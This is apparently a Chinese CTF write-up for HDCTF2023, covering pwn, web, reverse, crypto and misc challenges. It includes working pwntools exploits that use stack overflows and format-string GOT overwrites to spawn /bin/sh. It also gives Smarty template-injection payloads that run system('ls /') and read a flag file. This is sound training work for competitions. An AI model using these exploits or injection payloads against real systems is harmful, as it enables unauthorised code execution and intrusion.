HDCTF2023 Writeup
HDCTF2023 wp,pwn 全部,web 2/6,crypto 4/5,reverse 6/7,misc 3/5 题解。
序
pwn 做完了,别的方向的也有打一点。
PWN
pwnner
伪随机数,种子也给出来了。先写个生成对应随机数的 c 程序。
// gcc 1.c -o 1
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
srand(0x39);
printf("随机数为: %d\n", rand());
return 0;
}
基础栈溢出 + 给了后门函数
exp 如下:
from pwn import *
p = process('./pwnner')
#p = remote('node5.anna.nssctf.cn',28806)
p.sendline('1956681178')
backdoor = 0x00000000004008B2
payload = 'a'*(0x40+0x8) + p64(backdoor)
sleep(0.1)
p.sendline(payload)
p.interactive()
KEEP ON
给了个 shell,不过是假的。
利用格式化字符串漏洞劫持 printf_got 为 system_plt(经过调试得到 printf 的偏移是6 )
下面存在 0x10 字节的溢出,能改 vuln 函数的返回地址为 vuln 再打一次,然后写入 ‘/bin/sh\x00’ 就能执行 system(‘/bin/sh\x00’)
exp 如下:
from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'
elf = ELF("./hdctf")
p = process('./hdctf')
#p = remote("node5.anna.nssctf.cn",28634)
system_plt = 0x00000000004005E0
printf_got = elf.got['printf']
#gdb.attach(p)
#pause()
payload1 = fmtstr_payload(6, {printf_got: system_plt})
sleep(0.1)
p.sendafter('name: \n',payload1)
vuln_addr = 0x40076F
#pause()
payload2 = 'a'*(0x50+0x8) + p64(vuln_addr)
sleep(0.1)
p.sendafter('on !\n',payload2)
#pause()
sleep(0.1)
p.sendafter('name: \n',"/bin/sh\x00")
p.interactive()
Makewish
伪随机数,种子默认为1,依旧是先写个生成对应随机数的 c 程序,跑出来 v5 为 707。
// gcc 1.c -o 1
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
int v5;
v5 = rand() % 1000 + 324;
printf("v5: %d\n", v5);
return 0;
}
填入足够长的字符,改 canary 的低位 ‘\x00’ 为 ‘\x0a’,就能利用 puts 泄露 canary。然后通过了条件判断后可以进入 vuln,这里卡了好一会,直接输 ‘707’ 是过不了判断的,经过调试发现是直接比较内存单元的数据,所以改成了对应的十六进制形式 ‘\xc3\x02\x00\x00’ 来发送。
vuln 函数有 off-by-null,能改 old_ebp 的最低一字节为 ‘\x00’,可以上抬栈底指针了,运气好的话可以劫持到 main 函数的返回地址。在 payload 的前一部分布置尽量多的滑板指令,基本上跑两三遍就能出。
exp 如下:
from pwn import *
p = process('./pwn')
#p = remote('node6.anna.nssctf.cn',28213)
context.log_level = 'debug'
#gdb.attach(p)
#pause()
payload1 = 'a'*(0x30-0x8)
p.sendline(payload1)
p.recvuntil(payload1)
canary = u64(p.recv(8)) - 0x0a
log.info("canary:" + hex(canary))
sleep(0.1)
p.send('\xc3\x02\x00\x00')
#pause()
backdoor = 0x4007C7
ret = 0x400902
payload2 = p64(ret)*10
payload2 += p64(backdoor)
payload2 += p64(canary)
sleep(0.1)
p.sendline(payload2)
p.interactive()
Minions
利用 vuln 函数内的格式化字符串漏洞直接改 key 为 102(经过调试得到 printf 的偏移是6 )
存在 0x10 字节的栈溢出,能改回 main 函数的地址多打几次。
至于程序能够往 bss 段写,这个点我倒是没用上,后面的基本上跟 KEEP ON 的打法差不多。
至于出现了本地通远端不通的情况,我将返回到 main 改到 _start 就通了。
exp 如下:
from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'
elf = ELF("./minions1")
p = process('./minions1')
#p = remote('node6.anna.nssctf.cn',28837)
key_addr = 0x6010A0
key = 0x66
#gdb.attach(p)
#pause()
payload1 = fmtstr_payload(6, {key_addr: key})
p.sendafter('name?\n\n',payload1)
start_addr = 0x400610
#pause()
payload2 = 'a'*(0x30+0x8) + p64(start_addr)
p.sendafter('you\n',payload2)
p.sendafter('Minions?\n','a')
system_plt = 0x00000000004005C0
printf_got = elf.got['printf']
payload3 = fmtstr_payload(6, {printf_got: system_plt})
p.sendafter('name?\n\n',payload3)
p.sendafter('you\n',payload2)
p.sendafter('Minions?\n','a')
p.sendafter('name?\n\n','/bin/sh\x00')
p.interactive()
WEB
Welcome To HDCTF 2023
签到题,移动人物往有倒计时的黑脸靠,HP = 0 的时候就会弹 flag
SearchMaster
smarty 注入
data={if system('ls /')}{/if}
data={if system('cat /flag_13_searchmaster')}{/if}
REVERSE
easy_re
使用 UPXshell 脱壳后拖入 IDA 分析,然后再 shift + f12 能找到一串使用 base64 编码的字符串,拖进在线网站解码即可。
easy_asm
直接拖进 IDA 中分析汇编。发现加密的字符串,转成字符是 XTSDVkZecdOqOu#ciOqC}m
将密文与 0x10 异或就是 flag。
flag = "XTSDVkZecdOqOu#ciOqC}m"
result = ""
for char in flag:
xored_char = chr(ord(char) ^ 0x10)
result += xored_char
print(result)
double_code
by Jasonxjy
点进这个函数。
此处应该是加载 shellcode, 但是 ida 已经把 shellcode 分析成伪代码了
根据逻辑可以分析出来是个类似于虚拟机的操作,可以根据 opcode 写出 exp:
#include<iostream>
#include<string>
#include<cstring>
using namespace std;
int main ()
{
int opcode[]={1,5,2,4,3};
unsigned char flag[]={
0x48,0x67,0x45,0x51,0x42,0x7b,0x70,0x6a,0x30,0x68,0x6c,0x60,0x32,0x61,0x61,0x5f,0x42,0x70,0x61,0x5b,0x30,0x53,0x65,0x6c,0x60,0x65,0x7c,0x63,0x69,0x2d,0x5f,0x46,0x35,0x70,0x75,0x7d
};
for(int i = 0 ; i < strlen((char *)flag) ; i ++ )
{
int tmp = i%5;
if(tmp == 1)
{
flag[i] ^= 0x23;
}
else if(tmp == 2)
{
flag[i] -= 2;
}
else if(tmp == 3)
{
flag[i] +=3;
}
else if (tmp == 4)
{
flag[i] +=4;
}
else if(tmp == 5)
{
flag[i]+=25;
}
printf("%c",flag[i]);
}
}
fake_game
2020年「羊城杯」网络安全大赛 Re部分 WriteUp_1182843538814603_Simon菌的博客-CSDN博客
ycb 有道类似的。使用 PyInstaller 解包,然后将 game.pyc 文件放入在线网站反编译。分析代码看到方程组,使用 z3 模块进行解密,再与 flag 数组进行异或。
from z3 import*
s=Solver()
xorr=[0]*4
for i in range(4):
xorr[i]=Int('xorr['+str(i)+']')
s.add(xorr[0] * 256 - xorr[1] / 2 + xorr[2] * 23 + xorr[3] / 2 == 47118166)
s.add(xorr[0] * 252 - xorr[1] * 366 + xorr[2] * 23 + xorr[3] / 2 - 1987 == 46309775)
s.add(xorr[0] * 6 - xorr[1] * 88 + xorr[2] / 2 + xorr[3] / 2 - 11444 == 1069997)
s.add((xorr[0] - 652) * 2 - xorr[1] * 366 + xorr[2] * 233 + xorr[3] / 2 - 13333 == 13509025)
if s.check()==sat:
print(s.model())
else:print("wrong")
先解密,然后再异或。
flag = [178868, 188, 56953, 2413, 178874, 131, 56957, 2313, 178867, 156,
56933, 2377, 178832, 202, 56899, 2314, 178830, 167, 56924,
2313, 178830, 167, 56938, 2383, 178822, 217, 56859, 2372]
key=''
'''
xorr[1] = 248,
xorr[0] = 178940,
xorr[2] = 56890,
xorr[3] = 2360
'''
xorr =[178940,248,56890,2361]
for i in range(len(flag)):
key+=chr(flag[i]^xorr[i%4])
print(key)
买了些什么呢
物品数量40,背包容量50,每个商品只能拿一次,以买到总价值最高的商品,从小到大排列输出商品的编号。
所以物品的重量和价值为:
2 8 5 1 10 5 9 9 3 5 6 6 2 8 2 2 6 3 8 7 2 5 3 4 3 3 2 7 9 6 8 7 2 9 10 3 8 10 6 5 4 2 3 4 4 5 2 2 4 9 8 5 3 8 8 10 4 2 10 9 7 6 1 3 9 7 1 3 5 9 7 6 1 10 1 1 7 2 4 9
输入数据:
40
50
2 8 5 1 10 5 9 9 3 5 6 6 2 8 2 2 6 3 8 7 2 5 3 4 3 3 2 7 9 6 8 7 2 9 10 3 8 10 6 5 4 2 3 4 4 5 2 2 4 9 8 5 3 8 8 10 4 2 10 9 7 6 1 3 9 7 1 3 5 9 7 6 1 10 1 1 7 2 4 9
纯 0-1 背包问题。
(最开始贴的代码有点问题,感谢ENTERPRISE481
师傅提出,已修正
#include<bits/stdc++.h>
using namespace std;
const int N=1e4+5;
int f[N],p[N][N],w[N],v[N];
//void printpath(int x)
//{
// if(!x) return;
// printpath(x-w[p[x]]);
// cout<<p[x]<<" ";
//}
int main()
{
int n,m;
// 先输入物品数量,再输入背包容量
cin>>n>>m;
for(int i=1; i<=n; i++)
cin>>w[i]>>v[i];
for(int i=n; i>=1; i--)
{;
for(int j=m; j>=w[i]; j--)
{
if(f[j]<f[j-w[i]]+v[i])
{
f[j]=f[j-w[i]]+v[i];
p[i][j]=1;
}
}
}
cout<<f[m]<<'\n';
// printpath(m);
for(int i=1,j=m;i<=n&&j>=0;i++)
{
if(p[i][j])
{
cout<<i-1<<" ";
j-=w[i];
}
}
return 0;
}
运行截图如下,将结果使用 NSSCTF{} 包住就是 flag。
enc
by Jasonxjy
表面是个 tea 然后传参,使用脚本解出 v10 的值为 3
脚本如下:
#include <string.h>
#include<iostream>
using namespace std;
void tea_decrypt(uint32_t *v, uint32_t *k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i;
uint32_t delta = 0x9e3779b9;
for (i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
sum -= delta;
}
v[0] = v0;
v[1] = v1;
}
int main() {
uint32_t enc[2]={0x60FCDEF7,0x236DBEC};
uint32_t key[]={0x12,0x34,0x56,0x78};
tea_decrypt(enc,key);
cout<<enc[0];
return 0;
}
smc 加密处理了 hdctf 字段,使用 idapython 异或回去。
for i in range(0x41d000,0x41E600):
patch_byte(i,get_wide_byte(i)^3)
就可以看到加密函数了,普通 rc4
#include<iostream>
#include<cstring>
using namespace std;
unsigned char ida_chars[] =
{
0xD4, 0x16, 0x87, 0xD6, 0x54, 0x68, 0xBC, 0x02, 0x15, 0x6D,
0x30, 0x08, 0x4B, 0x61, 0x4C, 0x5E, 0x42, 0xFD, 0x55, 0x61,
0xB9, 0x27, 0x6F, 0xF5, 0xB6, 0x86, 0x23, 0xA9, 0xEF, 0x1C,
0x04, 0x9F
};
void rc4_1(unsigned char*s, unsigned char*key, unsigned long Len)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i<256; i++)
{
s[i] = i;
k[i] = key[i%Len];
}
for (i = 0; i<256; i++)
{
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}
void rc4_2(unsigned char*s, unsigned char*Data, unsigned long Len)
{
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k<Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] ^= s[t];
}
}
int main()
{
unsigned char s[256] = { 0 }, s2[256] = { 0 };
char key[256] = "you_are_master";
unsigned char pData[512] = {
0xf,0x94,0xae,0xf2,0xc0,0x57,0xc2,0xe0,0x9a,0x45,
0x37,0x50,0xf5,0xa0,0x5e,0xcb,0x2c,0x16,0x28,0x29,
0xfe,0xff,0x33,0x46,0xe,0x57,0x82,0x22,0x52,0x26,
0x2b,0x6e,0xe4,0x82,0x24
};
unsigned long len = 35;
int i;
rc4_1(s, (unsigned char*)key, strlen(key));
rc4_2(s, (unsigned char*)pData, len);
printf("%s", pData);
return 0;
}
CRYPTO
Normal_Rsa
出题人忘删 flag 了,打开文件就看见 flag 了。
Normal_Rsa(revenge)
解 rsa。
p,q 要解一下,观察到给出的数字,位数一样就直接开方了。
(查到开根号的方法,开出来就是科学计数法,复原一下就好。
P = 8760210374362848654680470219309962250697808334943036049450523139299289451311563307524647192830909610600414977679146980314602124963105772780782771611415961
Q = 112922164039059900199889201785103245191294292153751065719557417134111270255457254419542226991791126571932603494783040069250074265447784962930254787907978286600866688977261723388531394128477338117384319760669476853506179783674957791710109694089037373611516089267817074863685247440204926676748540110584172821401
n = 12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749
c = 7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785
e=65537
e=65537
p=pow(P,0.5)
q=pow(Q,0.5)
print(p)
print(q)
然后套 rsa 模板解密即可。
import gmpy2 as gs
import binascii
n = 12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749
c = 7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785
e=65537
p=93595995503882796484948942664787567679411018850571035558047095185699253142469
q=10626484086425759109526601843431131274302413270645909659804218687679714714707826956012068057535486307660248767234433303462363381171495481245390248120740549
n=p*q
phi = (p-1)*(q-1)
d = gs.invert(e,phi)
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))
爬过小山去看云
小山的英文是 hill,就是希尔密码;云,就是云隐密码。
给了密钥的希尔密码,在线网站解密就好。
润色一下就看出来了。
your pin is
eight four two zero eight four two one zero eight eight four zero two four zero eight four zero one zero one two four x
# 842084210884024084010124
然后使用云隐密码的解密脚本。
ct = '842084210884024084010124'
list = ct.split('0')
flag=''
for i in list:
sum = 0
for j in i:
sum += int(j)
flag += chr(sum+64)
print(flag)
# NSSCTF{NOTFLAG}
Math_Rsa
by Jasonxjy
直接用 sagemath 在环上进行开根即可还原 p,接着解一个 rsa
import gmpy2
from Crypto.Util.number import *
n = 14859096721972571275113983218934367817755893152876205380485481243331724183921836088288081702352994668073737901001999266644597320501510110156000004121260529706467596723314403262665291609405901413014268847623323618322794733633701355018297180967414569196496398340411723555826597629318524966741762029358820546567319749619243298957600716201084388836601266780686983787343862081546627427588380349419143512429889606408316907950943872684371787773262968532322073585449855893701828146080616188277162144464353498105939650706920663343245426376506714689749161228876988380824497513873436735960950355105802057279581583149036118078489
r = 145491538843334216714386412684012043545621410855800637571278502175614814648745218194962227539529331856802087217944496965842507972546292280972112841086902373612910345469921148426463042254195665018427080500677258981687116985855921771781242636077989465778056018747012467840003841693555272437071000936268768887299
a = 55964525692779548127584763434439890529728374088765597880759713360575037841170692647451851107865577004136603179246290669488558901413896713187831298964947047118465139235438896930729550228171700578741565927677764309135314910544565108363708736408337172674125506890098872891915897539306377840936658277631020650625
c = 12162333845365222333317364738458290101496436746496440837075952494841057738832092422679700884737328562151621948812616422038905426346860411550178061478808128855882459082137077477841624706988356642870940724988156263550796637806555269282505420720558849717265491643392140727605508756229066139493821648882251876933345101043468528015921111395602873356915520599085461538265894970248065772191748271175288506787110428723281590819815819036931155215189564342305674107662339977581410206210870725691314524812137801739246685784657364132180368529788767503223017329025740936590291109954677092128550252945936759891497673970553062223608
P.<x> = PolynomialRing(Zmod(r))
f=x**2-a
f=f.monic()
p=f.roots()[0]
print(p)
p=135098300162574110032318082604507116145598393187097375349178563291884099917465443655846455456198422625358836544141120445250413758672683505731015242196083913722084539762488109001442453793004455466844129788221721833309756439196036660458760461237225684006072689852654273913614912604470081753828559417535710077291
q=n//p
d=gmpy2.invert(65537,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))
MISC
hardMisc
丢进 010editor 看,最后面有一串 base64 密文,放到在线网站解密即可。
ExtremeMisc
使用 binwalk 分析发现有压缩包,压缩包套娃。手动分离压缩包 IDAT.zip, Dic.zip,尝试爆破密码 haida,成功得到 reverse.piz 文件。
根据文件名称提示并放入 010editor 中,观察到压缩包中编码被反转,读取文件内内容进行反转。
f = open('Reverse.zip', "rb") # 打开要读取的二进制文件
hex_list = ["{:02X}".format(c) for c in f.read()] # 将文件内容转换为十六进制字符串列表
f.close()
hex_str = ''.join(hex_list) # 将列表中的字符串连接成一个字符串
reversed_hex_str = hex_str[::-1] # 将字符串反转
reversed_bytes = bytes.fromhex(reversed_hex_str) # 将反转后的十六进制字符串转换为字节流
with open('Reverse_reversed.zip', 'wb') as f: # 打开一个新的二进制文件,将反转后的字节流写入其中
f.write(reversed_bytes)
得到恢复正常的 zip 文件,但是解压发现还有加密,爆破得到密码是 9724。得到 secert.zip, plain.zip。plain.zip 有第二层加密,使用明文攻击拿到最后一层密码,打开读取 flag 即可。
MasterMisc
里面有好几个都是一样的压缩包。恢复密码是 5438,得到一张图片,然后使用 binwalk 可以得到一张图片一个音频。
音频可以看见第一部分flag。
图片爆破宽高然后修改得到第二部分flag。
最后一部分直接搜索原图片可以发现。
更多推荐
所有评论(0)